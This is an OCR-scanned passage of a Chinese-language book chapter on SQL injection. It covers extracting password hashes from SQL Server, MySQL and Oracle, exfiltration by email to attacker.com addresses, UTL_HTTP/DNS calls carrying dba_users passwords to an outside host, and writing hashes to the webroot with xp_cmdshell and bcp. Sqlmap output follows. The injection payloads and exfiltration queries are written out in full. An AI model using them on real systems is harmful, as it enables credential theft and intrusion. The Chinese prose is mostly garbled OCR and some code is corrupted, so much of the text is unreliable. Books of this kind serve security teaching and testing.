e 4287D299F09FD4B7EC97139C7474CA1893815231: X4y K/NE M A

e E9165D257TACEB815111F2AE98359F40F84F3CF4C: AX 4 K /NE W7

SR EE MR O A LR, salt #1E4 SHA1 $iEM%IA . David Litchfield % SQL
Server 2000 )R A4 EEAT I 4218 43 HT, A U7 ] www.ngssoftware.com/papers/cracking-sql-
passwords.pdf SRIRELiZ% Y .

HAEIGEBAI R : SQL Server 2000 FH M4 X 5 KNG, TiXEk 7R TIE.

AT A H1 TR SR A A

® NGSSQLCrack(www.ngssoftware.com/products/database-security/ngs-sqlcrack.php)

e Cain&Abel(www.oxid.it/cain.html)

FF& SQL Server 2005 I, Microsoft /£ 4 [ REL © — M EBMRIIES. BAHEOLSMSE
BURIE R R U] T G AV . sysxlogins TR EEARLEAE, Al IE S48 T 51 B ¥R 25 #) sql_logins
MELLETRR A

SELECTpassword_hash FROM sys. sgl logins
P I SQL Server 2005 $EX ) AN A IR B«
0x01004086CEB6AI5AB86D1CBDEASBDEBTOD610DTFESOEDD2FECES

M A SQL Server 2000 B IHFC T4 T 15 % .
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e 0x0100: 3k

e 4086CEB6: salt

e A15AB86D1CBDEA98DEB70D610D7FES9EDD2FEC65: [X 43 K/N5E HIME A

AR IR, Microsoft B T IRHIARK 5 KNG RIS A o XK B WA B 0 2 1A 5
LRk N A A gk, #t TRM S, NGSSQLCrack 1 Cain&Abel 3R X Fh B B 4F B .

R’IR:
Mk s, 2%k E BEGF%, Web AT ARI AU RIFH+ A5 KE
wos Ay, 4R A fo_varbintohexstr() A AFA A B X bR Sl HcHFIFH F . Hlde:

http://www.victim.com/products.asp?id=1+union+select+
master.dbo.fn_varbintohexstr(password_hash)+from+

sys.sql_logins+where+name+=+'sa’
482 MySQL
MySQL 7E mysql.user & FAEEM A 114 FEHZERREAIA L ENFRERAF 2K E:
SELECT name, password FROM mysql.user;

W A 04 38T ] PASSWORDQOSEH 371, B AASIERR T BT 23 MySQL hit 4.
MySQL 4.1 Z A IR AE A B - FHIRT LA 16 F /iy A«

mysqgl> select PASSWORD('password'}

1 row in set (0.00 sec)

M 4.1 JEAFFE, MySQL X PASSWORD() M ¥ 7450, 7EXU SHA1 M4 AE:AL B4
BT R E KR E R )] TR

mysgl> select PASSWORD('password')

1 row in set (0.00 sec)

LB TLNE S, L. Fiah MySQL(4.1 X2 )5 HIRA)EBING A 143
PUE S TPk, WURTERPREELUR S I LB HNBERI 707 i LK 41 M4, IBAMRTRE
JAist 3 MySQL.

HWIRFR A NLE, WA A John the Ripper(www.openwall.com/john/)2}, Cain&Abel
(www.oxid.it) R W HE JFiH 04 . W BRI &K B MySQL 4.1 RZ G4, WTEE ) John



#£4FE FMASALIEA 151
the Ripper 3T I “John BigPatch” %+ T . AJ A\ www.banquise.net/misc/patch-john.html b F#iZ%#h T .
4.8.3 Oracle

Oracle 7£ sys.user$3R i) password F7E ¥ HEFENE P IS 75 04 . dba_users YL A% 3%,
B Oracle 11g FFif, ¥IBINFEARHE(Data Encryption Standard, DES)IM A N4 AFHBLE
dba_users YLEH . sys.userSREEHIEER F (types=1 MBI E A B (opet=0)IE R 14, 7
Oracle 11g H, Oracle 5| T — 77 Bk i+ H I A 04 (SHA1 T3k DES)H 7 14 iR
RAXDNEFFF. [HXK DES BAFEHAEFBAR K IE)RROL, XEABRHTES
5, Oracle 11g FHIFER BRARFEMRNRS, HILTARMK. 45 spared 1955,
BRINHIL T, Oracle 11g ¥ IHAI(DES)RIF HI(SHAK A DA RAEER —F+H, FUiTdi
AT RLERBAR HAE A D4, e CUESEREHNSE D4,

A T 3 EHISRAR A A O 4L EA 1T R I 2 42):

£ %t Oracle DES Fi 7 & 04

Select username,password from sys.user$ where type#>0 and length(password)=16
£t %t Oracle DES 114

Select username,password from sys.user$ where type#=0 and length (password)=16
£t%t Oracle SHA1 M4 (11g+):

Select username, substr (spareé4,3,40) hash, substr(spare4,43,20) salt from
sys.user$ where type#>0 and length(password)=62

A { i % FF TR (Checkpwd. Cain&Abel. John the Ripper. woraauthbf. GSAuditor I orabf)
KBWif# Oracle 14 . HET4H%t Oracle DES M4 A5 4R i T R & Laszlo Toth ] woraauthbf; 4t
Xf SHA1 Oracle M3 7 B R #I2 GSAuditor. iHZ % 4-15 F|HH . &id SQL i AR [H] ) Oracle
MR . '

Show a list of all employres by name

| [EvpvoENAME

IALEX *FAL1%691 CEDTCBS1E
ANONYMOUS
APEX_PUBLIC_USER*783FDBEDDOSCE407
AQ_ADMINISTRATOR_ROLE-
AQ_USER_ROLE*
AUTHENTICATEDUSER*

CONNECT*
CSW_USR_ROLE-FI9FD2B778DEAAA
CTXAFP

CTXSYS*71E68 TFO36ADSGES
CWM_USER*
DATAFUMP_EXP_FULL_DATABASE-

DATAFUMP_IMP_FULL_DATABASE*
DBA-

ETISECB41SEACDED
DELETE_CATALOG_ROLE*
(DEMO1*
DIP*CE4A3SBERIS CASIC

2 | o
B 4-15 Oracle K& RFI
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Oracle UGB EF R % HAb R (H Oracle A DRIEANBEAFMA DL, WEOL, FREE
BAEHICO4A. RBEOID)NASEE A ER S, sysman.mgmt credentials2 FALIH H GEFR
Fif SYS F MBS Rl #E%d e, Oracle £ L3 B R A A FA DBA Ik
FUE MR 4. EE “&”, Oracle ¥f DBSNMP A/ #In# 1415 SYS FI SYSTEM )
HIF)RAEAE sysman.mgmt_credentials2 27 . IV i) 12208 5 7] LAZREL SYS/SYSTEM HA 4.

NIl AR F B S 14 ) SQL A

-- get the cleartext password of the user MGMT VIEW (generated by Oracle
-- during the installation time, looks like a hash but is a password)
select view username, sysman.decrypt(view_password Password

from sysman.mgmt view user credentials;

-- get the password of the dbsnmp user, databases listener and 05

-- credentials

select sysman.decrypt(tl.creadential value) sysmanuser,

sysman.decrypt (£t2.credential value) Password
from sysman.mgmt_credentials2 tl, sysman.mgmt_credentials2 t2
where tl.credential guid=tZ.credential_guid
and lower (tl.credential set column)='username'
and lower (t2.credential set column)='password'
-- get the username and password of the Oracle Knowledgebade Metalink
select sysman.decrypt (ARU USERNAME), sysman.decrypt (ARU_PASSWORD)
from SYSMAN.MGMT ARU_CREDENTIALS;

Oracle B

—i% Oracle 414FF0 ™ S 24 M A B AR P& BN, Oracle Internet Directory), 2
AR (R IEE 100 ZRAFMZE). B FRE/NTFIHEERAD Oracle /i
B e BRI — g K1Y,

1) APEX

3711 Oracle 303 %38 % 0% Oracle Application Express(APEX). Oracle 11g BRi\%c%$e T
ZHE(APEX 3.0). XA~ Web MFIHEZHA A QB ESMH B, Z RS 11422
B K 2 BTHIRR A48 F MDS, 3.0 MR 2 J= IAR A salted MDS)f, T www_flow_fnd_user %]
FLOWS_xxyyzz 1 (schema)® . AN[A]fR4< 1) APEX I AR IR A, A2 FRE T APEX
kA2 (1, APEX 2.2 f#E42 4 020200):

select user name, web password_raw from flows_020000.wwv_flow_fnd_user;
select user name, web password raw from flows_020100.wwv_flow_fnd_user:

select user name, web_password raw from flows_020200.wwv_flow_fnd user;

B APEX 3.0 L3k, MDS5 D4 #H security_group_id Fll user-name #47 T P #l(salted), i
GRS
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select user name,web password2, security group id from
flows 030000.wwv_flow_fnd user;

select user_name,web_passwordZ, security group_id from
flows_030000.wwv_flow_fnd user;

2) Oracle Internet Directory

OID(Oracle Internet Directory)ZOracle ) LDAP(Lightweight Directory Acces Protocol, &
FHFXYHBBOEHR, BEHW T RERFEZSHKBPHBREADS. WREIEEHRAF DK
R, BBARKTLAViR OID WM& 4. tHT#AH A% E, OID FRARKIMSA
HE(MD4, MDS il SHAKRERFE R —H P14

TFHEAYRE OID H /- G A 114

select a.attrvalue ssouser, substri(b.attrval,Z,instri{b.attrval,'}"')-2)
method,
rawtohex (utl_encecde.base64 decode (utl_raw.cast to raw(substr
(b.attrval, instr({b.attral, *}1')+1)))) hash
from ods.ct_cn a,ods.ds_attrstore b
where a.entryid=b.entryid

and lower(b.attrname) in (

'userpassword', 'orclprpassword', 'orclgupassword', 'orclasslwalletpasswd’,
'authpassword', 'orclpassword')
and substr(b.attrval,2,instr({b.attrval,'}'})-2)="MD4"
order by method, ssouser;

select a.attrvalue sscouser, substri(b.attrval,?2,instr(b.attrval,'}')-2)
method,
rawtohex (utl_encode.basebtd_decode (utl raw.cast to_raw(substr
{b.attrval,instr{b.attrval, '}'}+1))}) hash
from ods.ct_cn a,ods.ds_attrstore b
where a.entryid=b.entryid

and lower{b.attrname) in (

'userpassword’', 'orclprpassword’', 'orckgupassword', 'orclasslwalletpasswd',
'authpassword', 'orclpassword')
and substr(b.attrval,2,instr(b.attrval,'}"}-2)="MD5"
order by method, ssouser;

select a.attrvalue ssouser, substri(b.attrval,2,instr(b.attrval,'}"'}-2)
method,
rawtohex (utl_encode.base6d4_decode (utl_raw.cast_to_raw(substr
(b.attrval,instr(b.attral,'}")+1))})) hash
from ods.ct_cn a,ods.ds_attrstore b
where a.entryid=b.entryid

and lower({b.attrname) in
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'userpassword', 'orclprpassword', 'orckgupassword', 'orclasslwalletpasswd',
'authpassword', 'orclpassword')
and substr(b.attrval,Z,instr(b.attrval,'}')-2)="'SHA"
order by method, ssouser;

BEAh, ATAF 5 SIREL— 255 ## Oracle M4 M40 {5 B AR TR
o www.red-database-security.com/whitepaper/oracle_passswords.html
® www.red-database-security.com/software/check.html

e www.evilfingers.com/tools/GSAuditor.php( I # GSAuditor)

e www.soonerorlater.hu/index. khtml?article_id=513(F # woraauthbf)

4.9 HshidfE

FENM AR EFHAR A ABARERR T ENBBSER FEEAR, B ARHERK:
) J R A 25 RUR LR AE R — {58 AR H . Bigifild, AT A% KE HTTP E i T
MR . At FISME DL AT LAE M SE AR FEERAME R . RORXFEREG R “HF
4h(Out Of Band)”, SLfHi#RA OOB. XS EHE—xi: B DBMS # R IIREER KN, BT
F AR EIAPATERAR AP, EIEEREHATIEE. Flln, R eq1%E L T %
BEEH—SER, BAEIEST I —NEER RIS . YR EREMSR, 1R
A PABHAT R IE e-mail B3RS . SN US XM RER T . FrA X geax Bl & w4 M.
HIFH, HEFEEIEEN HTTP MfE HEREEHL BN, XEThREA N & ST 1R H
SQL AR T 1. A FFAEFH R P ETfE. NMERICLER, SUREAD
AR ERIE ERTEE.

RIBE S RERPFERBEROAR, TEkHEMHAERMEH OOB EEHEMERE. AVWR
TN BILHBEARCGE S ELTINE SQL BEENSNMBELNE), MlXey FRkEsmie
HIATREIE B, B, SR TS A IE B i HTTP SE R EEGEE, 1 BT 2w ¥aE i /- 2
IR, HARIERHEQIETE: OOB A AT LU B Ih R 5 52 Bods I F Bt 7 i

4.9.1 E-mail

FARFER T REAN RN REENTS . ERHTREANERE, & IEM REE, SEE
AT RIS RN, X—AdEEEE. Xt AL HINI DBMS B HIH e-mail
ThEEM R . XA, PTLAEH AR B IS SLRT B3 RIE . B e-mail H.8 LLEAT R, B
W, WK —ANHT RN B P Bl T 2 A profile T, MBAAREHEAMELSWE] R BHK
P e-mail KA N ZABHERERE. X ERN D3 W KX e-mail BT TRE . Bilid T EMHM
R ME—FFRIA, e R ERNE R HEIEIT R3] e-mail IFEH € ITHIEEEE R
¥AEN B e-mail BAFIH . 2ZJ51% e-mail B OB FH RIBRFEF .

1. Microsoft SQL Server

RKEHIEH T, Microsoft SQL Server 324t [ — R4 1) A BIIRER KX e-mail. FLE,
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H#E SQL Server MAIIAR, FFEFEAIE—Ffi BT ARK e-mail FARZ: SQL Mail(SQL
Server 2000, 2005 F11 2008)# Database Mail(SQL Server 2005 F 2008).

SQL Mail & SQL Server B #]ff] e-mail K% R HE. Microsoft &4 SQL Server 2008 B, HAf
AFHREZINEE, FRAELEHRATBRR. SQL Mail f#/H T MAPI(Messaging Application
Programming Interface, 81 A4FEH:0), BUILH E7E SQL Server L2 L& —/ MAPIL #H
BF AL, Microsoft Outlook, ANf& Outlook Express)K &% e-mail. #t—H9F, HEMEH
POP3/SMTP(Post Office Protocol 3/Simple Mail Transfer Protocol, flb{44b3E Hri3l 3/7R) B2 HB 44 1% 4
OB R R RS H IR 5 (A NEERE A MK )RR e-mail ZF SR ITRCE . RE
K R4S 280 8 EAEIEAT A AL E 1T 49 SQL Mail, 84 R 2% xp_startmail(J3 5 SQL &/ i
H- 2% F ) e-mail ARE 28)F1 xp_sendmail(f# ] SQL Mail K% e-mail #§ BIH EAF &)L AT,
xp_startmail B PIA~T] 2 $(@user M@password), T8 5% A& FH 1 MAPI profile. Ti#ESk
bR BRI 3% B B A AN AT Be/8 FXE(E B, T HARAAAF E11: mEARESH xp_startmail
£ ¢ A1 Microsoft Outlook BRI (AL E SQL Mail LU H 3} &3 e-mail ¥ 5L 18 % £/
%MK /7). xp_sendmail FIIEEN T AT RCURR T — 2 BATOCH)E )

xp_ sendmail { [ @recipients= ] ‘recipients [ ;....n ] 1}
[, [ @message= ] 'message' ]
[, [ Bguery= ] 'query' ]
[, [ @subject= ] 'subject' ]
[, [ @attachments= ] 'attachments' ]

AAERIL, AAERH ME . B TRAEA MW T FREIEH:

EXEC master..xp_startmail;
EXEC master..xp sendmail @recipients = 'admin@attacker.com', @query =

'select @Rversion'

WA 2 L) Base64 # R E) 1% e-mail, AJiIT Burp Suite 5 T B X HARE 5 gt . 1EH
Base64 =Wk kb AT UL & - 2E S HE .

HEFLMER xp sendmail KB BRILE XM, R HEE@attachment 78 i b 8 5 X E S AF BRI
. AdiEiod, BAES FAHEEERAMRRA #ES A xp_sendmail.

BT KT xp_sendmail BN E L5 &, 1#HZ% bhittp://msdn.microsoft.com/en-
us/libarary/ms189505.aspx; FEABIKEL X+ xp_startmail FI5cHEHA, 7§15 9 http:/msdn.microsoft.
com/en-us/libarary/ms 188392 .aspx.

1 5 xp_sendmail % B BATHI B H AR SQL Server 2005 5 2008, MAFABEHL:
M SQL Server 2005 JF#, Microsoft 3| A T —F#7(] e-mail ¥R %, #74 Database Mail.
SQL Mail, Database Mail I FEMR AR EEA T sk SMTP, AHEFB) Outlook XFFH
MAPI & P ik s THE. BRI R e-mail, 471 % /04— Database Mail profile, profile
J& Database Mail /2 [l — AN 4. #—$5if, F/2 %% & DatabaseMailUserRole 41 & 5, 1M
HZE/DfEV i) — Database Mail profile.

A8 3 A Database Mail, {#JH sp_configure #t/2 4 1. {HE K F KX e-mail, WEFEM
F sp_send_dbmail, ‘&4H2F SQL Mail 1 fJ xp_sendmail. HiEEH(R G & TREENSHOWNT
Bz
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@query = ] 'guery' ]

sp_send dbmail [ [ @profile name = | 'profile name' ]
[' [ @recipients = ] ‘recipients [ ; ...n 1' ]
[" [ @subject = ] 'subject' ]
[ @body = ] 'body' |
[ @file_attachments = ] 'attachment [ ; ...n ]1' ]
[
[

[
[

L
[, Gexecute_gquery database = ] 'execute_query database' |

profile_name 7/~ &% e-mail Bt FT{ER I profile. TR H=*, IBAKE(HH msdb FIEEEERIA
#1453t profile. 5 profile ANFFPE, WA LB FFIEREIE—4:

(1) 1&H msdb..sysmail_add account_sp € —4> Database Mail. #EF EHIIE —NFMH
SMTP AR %35, 2R A n] BER 2 E 3 il e R 1% e-mail. 1% SMTP IR % 257 L& Internet
FHREERSH, BATUR—EREHETHIZ TSRS w05 HHE PR 4% 28 b8 i 1 25
BXRFMEAT 1P Hohk, WaTLEER £ e-mail SEHR 7RI B, FHA%ED 25 L
] OPENROESET, AT F — WA 4ZRA). Bl WRTFEEM e-mail BoR, MnlgER
BR] 4 B e R 95 28 0 VA DT [a] SR AL, IXAHE TR EALE — 64 ML T H AR M 4 _E i) SMTP ik
Sy 1P Huhik. XIS T EAS . R Web MM E 25K 1% e-mail i B HIThAEE
Bltn, SR P FEERENEREE KE-HERAS O4K e-mail), A4 SMTP RS #E
R AT AEILERAE e-mail B9k, BeSb, @) — D AFEEREBCE RIL—3 e-mail AT RESARA — A4
WEMHEG BN, A, R SMTP RE2#ERIEDAE, W EREREAB. XXM
B, EHFEARMHF BMO4 U RIHEIE — Database Mail K .

(2) ¥ msdb..sysmail_add profile_sp €] —/ Database Mail profile.

(3) 1] msdb..sysmail_add profile account sp ¥5B(1)PEIE KK P HRNE S RQ) 6 &
f] profile H7.

(4) 1€ msdb..sysmail_add_principalprofile_sp 4 msdb FIEFEP HIH F#2-FHPR, LA
FreI 8 profile.

http://msdn.microsoft.com/en-us/libarary/ms187605(SQL.90).aspx L i¥ 4044 T bk i ¥F
P T —onfl. R VIR BAHE —ANE W Database Mail K/ 1%, B G e] LUSTT
B HEIT e-mail REIXLER 7. THII/REIBER TN LFRE:

--Enable Database Mail

EXEC sp configure 'show advanced', 1;

RECONFIGURE;

EXEC sp configure 'Database Mail SPs', 1;

RECONFIGURE

--Create a new account, MYACC. The SMTP server is provided in this call.

EXEC msdb.dbo.sysmail_add account_sp
@account_name='MYACC', Remail address='hacked@victim.com',
@display name='mls',@mailserver name='smtp.victim.com',
@account_id=NULL;:

--Create a new profile, MYPROFILE

EXEC msdb.dbo.sysmail add_profile sp
@profile name='MYPROFILE', @description=NULL, @profile_id=NULL;
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--Bind the account to the profile

EXEC msdb.dbo.sysmail add profileaccount sp €@profile name='MYPROFILE',
@account name='acc', @sequence_number=1

--Retrieve login

DECLARE @b VARCHAR(8000);

SELECT @b=SYSTEM_USER;

--Send the mail

EXEC msdb.dbo.sp_send dbmail @profile_name='MYPROFILE',

@recipients='allyrbase@attacker.com', B@subject='system user', @body=8b;

2. Oracle

{f /| DBMS &% e-mail #H B i, #3E DBMS MRAHIA[E, Oracle 324t T HFAFE R e-mail
KIERSE. T 8i L2 JEWIRA, oli@ i UTL_SMTP &% %% e-mail, UTL_SMTP 424 DBA
RO T BB EH SMTP SR FTE RS . M 10g 74, Oracle 3IAT UTL MAIL 13, &R
f2F UTL_SMTP Z B )—ANMENE, AW EEERTGE. &Yt e-mail ZiXIhhE.

IEMAFRFTEE R, UTL_SMTP 248 T - -RIRBOR B NIFEHE- -4 SMTP %R of#
Al UTL_SMTP.OPEN_CONNECTION 5 /R4 8B BR, Z /A UTL_SMTP.HELLO [}
BRI “HELLO” # B, A2 HEA UTL_ SMTPMAIL fi UTL _SMTP.RCP ¥5E RiXHE M
Bl E, % R UTL_SMTP.DATA 58, BJE{A UTL_SMTP.QUIT £ 1E2:iF,

Xf¥ UTL_MAIL R, ¥MSEEMBEE, ol CLER T IFE6E T FER 21 A — kR
LI

UTL_MAIL.SEND(sender, recipient, cc,bcc, subject, message, mime_type, priority)

e, TR S AR A NRE, BAAMEN FIFREA UTL_MAIL, & R %5 F3HHE
M. Ak UTL_SMTP BUA RS K, IFERE T AAA.

4.9.2 HTTP/DNS

Oracle 424t T i FP 44T HTTP i K #J7#%: UTL_HTTP A HTTPURI_TYPE.UTL_ HTTP
LA HTTPURI_TYPE X RAER AR T AIAE, FTLLdh Bk & B A 7 3T sl i
SQL iF A IILAHRAT o

Biltn, FAEEERGRIE SYS AP WEE N4, aEANTIIERS:

Or l=utl_http.request('http://www.orasploit.com/'|| (select password from
dba users where rownum=1)) ~-

AT LAEBY T HTTPURI TYPE X %268, 0T Fis:

Or 1=HTTPURI_TYPE ('http://www.orasploit.com/'|| (select password from

dba users where rownum=1l)).getclob() --

AN, iR SQL IS4 URL WiB, HB-AEAT LAE L4 & 4i(Domain Name System,
DNS) i Sk R E B (B KA 64 “F). B WIER TAMNE A@ERNTEES 5§ THMITeZH
AR), W FHIR:
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Or l=utl_http.request('http://www.'|| (select password from dba_ users where

rownum=1) | | ', orasploit.com/'}) --

493 XHEHL

I, Web AR5 83 IR FIRST S8 1F 0L TR — &AL L. 25 Web NHBEHFMRAIHF
MEDERARBIER, EE® HIZXMER. ST XMERRR, BRI AZEHFAR
REFRRARAS . BURZ RN T A E R RN ALR AR AERS| ), HENFERSZE
BRPE o FL AP for S B Bt A TR o B — e R i 2 LR EUX BT A 444 1) 56 2 4 AL

—HEBT —A SQL HEABRKE, A AP Tr AR Bk IR 4t — P R
SAHEBIAA T BRI 25 38 PR EUS B o RIS R0 S SO R OBUR, T4 ft
AT L WL RERE M F] Web MRS E R T —A3CH, 255 e a] DUE 3 K28 ok
1B U |12 30

B R e A 25 28 F0 Web [R5 284 T AFRIBIHLES L, HUNRK Web B 5230 E R AT T HH
AR Web ¥ Rl RSO I BEGR A SIX eSO OARR, AR AUSIR AT LR A _EiR Bk .

EER, B 6 ESNBSXHRETHIIELHI,

1. SQL Server

%t F Microsoft SQL Server K ii, HEZF ikl H THERERE MBI RS . WHRA
PR AT ZINEREAUR, A4 BUF o i B P R B LR AR, TN THRTES
H— MR RE AT, B @@version XFERM N BREIIE . MEEEERBEIE 5% L3
BALXREPNESHRXFER. T FRIBGER T SQL Server 2005)% ffi@hash 2% A,
'BERI%E sql_logins RPBE—ANFHP KA LG

declare @hash nvarchar (1000)
select top 1 @Ghash = name + ' | ' +

master.dbo.fn_varbintohexstr(password_hash) from sys.sgl_logins

ST FROL, BRI 5 1 B RGNNSO R A S, LA R
FSENTT :

—-- Declare needed variables

DECLARE @a int, @hash nvarchar(100), @fileid int;

-- Take the username and password hash of the first user in sgl logins

-- and store it into the wariable Rhash

SELECT top 1 @hash = name + ' | '+

master.dbo.fn varbintohexstr (password hash) FROM sys.sql_logins

-- Create a FileSystemObject pointing te the location of the desired file

EXEC sp OACreate 'Scripting.FileSystemObject', @a OUT;

EXEC sp_OAMethod @a, 'OpenTextFile', @fileid OUT;
c:\inetpub\wﬁwrootkhash.txt', 8, 1;

-- Write the @hash vareable into that file



#4% FASALIZA 159

EXEC sp OAMethod €fileid, 'Writeline', Null, @hash;
-- Destroy the objects that are not needed anymore
EXEC sp OADestroy @fileid;

EXEC sp OADestroy @a;

BLAE B R K D AR T UL B IF R RS R, A 4-16 BTR.

jlrri Jwiww_victim. ce mr PPI H|| rle?mrE (!ll’l

x F ~
F?H@Jhﬁm&ﬁﬁmcﬁﬂhﬂhg{

sa | 0x01004086ceb6370£972£9c9125fb8919e8078b3£3c3dE37efdrf3

B 4-16 (EFMRSBHICHREKN sa A HRE D4

WRFEL RPAT ZERME, AT LGB EIE B — AN et iR, LUERERHEA, I3 .
HIRBUOERF BN, EEARFTUTEIRL, B RRNEHRRE? W FXMER, BT
1% bep.exe. ER SQL Server BRIAMHF I — My £47 TR . MSDN X% TRAMBRE: “bep
TR P IEEr 77 N 7E Microsoft SQL Server 52 MI¥UGRE 2 (] it & 1538”7 (58
(4 http://msdn.microsoft.com/en-us/libarary/ms162802.aspx). bcp.exe & IIEERBAKM TR, &
BRKESE. FBIPRIIAROEFRIASE. TEH—MRARBEK sql_logins FKHF:

EXEC xp_cmdshell 'becp "select * from sys.sgl_logins" queryout
c:\inetpub\wwwroot\hashes.txt -T -C'

X E AT TWRLEBRIENR? bep BRAMAIT TR, EMRIIRAEMA xp_cmdshell(8E 6
BATFRIRI—FENTE, HSHS 6 D)EAE. HE2 bop WE—NSREEH, ZE
WA AR [A] — M RE T T-SQL. queryout ZHTIREEB K RIEYE, e LHE BBk
RIMIRSE]. BT RIS, EUAR SNSRI, TiEERRAERT
B TR RL B AT RE 8 A HTTP 3805 Bl -C FFFom i A Ml PR SE R, IR T E
el — HERIBOR, WIRAEA-N .
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BATE AX-T FF KBTI . BT bep.exe B— R E 5 IEEZEITH SQL Server #4Til{5
IR 24T TR, FTURMNTERAEMRIESE BRMIT X E. EEFEH-U M-P S¥IREH
FEMO4RELMBIE. 7ELFRRE Y, ST T (B iNXENER. #A-1 X
BLEVF bep {8 — AN ZASAEEBE#E ] Windows SR L & M) RIEBERE 2.

IR A RVEERBE BRI, 32 ¥3K sql logins F4 4k 5 %1% hashes.txt CEH . HEZ A3
WAV ! A 4-17 Biow.

1 B http: //www._victim com/hashes.txt - Microsoft Internet Explorer
T E So—

x Bt aA N | e ; £ |
&) hitp: //www. victim. com/hashes.tat

sa 1 01 5 SQL_LOGIN 2003-04-08 09:10:3.
] iswmith 265 9723DD428A0C184F922983458BD46576 5 SQL_LOGIN
i cbrown 266 B7097EFBZBC608448640A993598BEBED 5 SQL_LOGIN

B 417 SN R R XA R

R

P RAAFIEEB R T, B R BEFTR P 24, DTEA sp_adduser A —A 5
Bt A P At R EARMMB B a4, RE1£A sp_addsrvrolemember %% Al P e £ sysadmin
4, RERA-UFa-P A BRBANR I A4 A P & Fo 0 AR bep. XA ik LA RKHGNR
M, MESY TS RE, BLAEEEEXNRERKLEEAE.

2. MySQL

% MySQL, ] LAt 2k Fr#JFs in INTO OUTFILE “F4F & ¥# — 4 SELECT iEAjHI4 R
REBXMHF. RABER T EZXHBEEEEEFEE R, T MySQL 5 RiE, HFREFME
@@datadir TEH . JLUEEERRE, HE MySQL % i% B R P HE 1T S8BT 7 AL
PR LA ERAE RE AR R FF X v 45 SR BD AT .

ELHixERE, A HES FILE BB, HFEHFP REHE XM, AR TmA
FE W — TR

SELECT file priv FROM mysgl.user WHERE user = 'username' --- MySQL 4/5
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SELECT grantee,is_grantable FROM information_schema.user privileges WHERE

privilege type= 'file' AND grantee = 'username'

B P A X RERIBUR, T BA0E Web 35 S B & H4/webroot/ . MySQL F F g% Xt
ZEXHATEUR, BAdFENTHIEH:

SELECT table name FROM information_schema.tables INTO OUTFILE '/webroot/
tables.txt';

7 SRH 0 Y 2% 45 7] http://www.victim.con/ tables.txt, SLZIEAERY BB WIS R.

INTO OUTFILE AF# & H THRBUSCALERE . X T~ FIEHE k3, A TERENF/HHE Y,
BITiES . W R TR ) — LT SR IR, WA INTO
DUMPFILE.

3. Oracle

{E Oracle 1, K& ¥H FU5 9 3C4H 5 (UTL_FILE. DBMS LOB. #MEZRA Java) ¥ 75 E
AN PL/SQL AN, EMLiE#AZ SQLIEAT R . BATHASE 6 Tt N XL Tk,

410 @A SQL EAN

R E T, BAVLE TREAFRKBCLEAR. MRS ZEERI N AR, o LAE
el A MRCLERT, K& I TERIE KB R LUE I PR ERBUE '’ i
B M\HFRBAR, ATEEE AL ME K UERREHZFE DBMS, B RIEILEA
WK AR R T A M E R EOE . Faiiamb® Mgk H R, PdiiAEETH: FILKLE
HualUl Baysc gL fe, RINMATRMUEER L HIKRER .

4.10.1 Sqglmap

Sqlmap £ FEMIGS4THEI SQL FHEATHE. ‘£ H Berardo Damele A.GF! Daniele
Bellucci L GNU GPLv2 VFR[EF 3% A, AT M http://sqlmap.sourceforge.net £ F 3.

Sqlmap AMUE—HFIHTH, EEalUHMENIF RS ZIEEREANSR. —HEE
FRENL BRI el B SQL AR, BAMER LU FHETR k8 - Fpaf T84k

o IATY KIS G DBMS EREZ.
RrZ& DBMS ¥4 1 F 7 A
HEHFP . a4, BURMEHEE.
¥tk %> DBMS 3R/5| 8 3F A /7 18 5E i) DBMS [13%/51
ZAT A E X # SQL &4,
EHUF R I R EEZNE,

Sqlmap Fl Python FFR MK, X{FMHERBHILFIRZNRIERS, MAT 2.4 HZER
A/ Python BEREAREIN] . A THSEEARS, 7% GNU/Linux 78K A7 i 506057t Ha 5 H#r 28
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T Python R84 fl. Windows. UNIX Fl Mac OS X th #7712 4t sk # 7T % 52 3KHL. Sqlmap £&—
Her ST LR, AR SIERME, #EiHE GUI A IEA T &S . Sqlmap SEHL T =F# SQL
EARIRAHEE A

e UNION #ifj SQL 3N, AE B 7E SN B R [ B A5 4T 8 2 — IR R [l —47 .

o CRFIMELTEH.

o HEH SQLIEA. % TH @B thE A HTTP WM A HTML FE A AKKB A, REE
5 R G VE SKBEAT 747 5 IURCOR B A AT A E IR RIS B . Sqlmap M PATZB A M
LK FIEB LW AER 7 4 HTTP Wk RIBIE MR H T 5. X2 Sqlmap 2Rl
ff] SQL AR AR

Sqlmap & —KIIAER N HAR RIERI TR, & HAI SR T oS .

e MySQL

e Oracle

e PostgreSQL

e Microsoft SQL Server

B S . sqlmap BECEA HER URL. 3K B Burp 8 WebScarab H & 3L H dr 3R 5k

H—A “Google dork” (‘B AILLE# Google % 5| AR T ILL5 R IUH). Sqlmap AT LA H Zhifll

A% IR LT A GET/POST Z4(. HTTP cookie | HTTP F /AR kMl . thsb, ATl

BEEXATAHBEETENRKSH . Sqmap & L FFL LR LIFRS SQL HiFEHIE(ELLR)

BIPAAT R ;AT DURR IR 14 SRAAT B BE O i S 58 I Bt B 5 R B ] o] AR AE 24 BT X5 LA

PG 4kEERT R . Sqlmap ISR T HAR S LMK E, il Metasploit A1 w3af.
Sqlmap 7=l

HEBE—ARFIR, BAVEBETFR A4 UNION ##) SQL ¥ A KRR Z& Oracle XE 10.2.0.1
1 SYS AP NARA. BATAE ST REBHRLTHSE, sqlmap ML fovF A BT A E
MR XTI, FABNZ G, sqlmap &% UFH P SRTIEADITHISME R LR . A6+,
sqlmap HEMIR id ¥, ZEHAEMBEHFAEHREREAMBAFENFESH. —B
BINHE T HEANEIE, sqlmap {8 £ 2R EREHE A H R W 2218 Oracle. B 5, Sqlmap XiE SYS
R4 A B HRMLHEP . BELZE, EESERRETERERSEM Web AR,

$ python sglmap.py -u "http://www.victim.com/get int.php?id=1" --union-use
--passwords -U SYS

<snip>

[hh:mm:50] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic

[hh:mm:51] [WARNING] User-Agent parameter 'User-Agent' is not dynamic

[hh:mm:51] [INFO] testing if GET parameter 'id' is dynamic

[hh:mm:51] [INFO] GET parameter 'id' is dynamic

[hh:mm:51] [INFQ] testing sgl injection on GET parameter 'id' with O

parenthesis

[hh:mm:51] [INFO] testing unescaped numeric injection on GET parameter 'id'

[hh:mm:51] [INFO] GET parameter 'id' is unescaped numeric injectable with 0
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parenthesis

{hh:mm:51] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:51] [INFO] testing MySQL

[hh:mm:51] [INFO] testing Oracle

[hhimm:51] [INFO] the back-end DBMD is Oracle

web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9

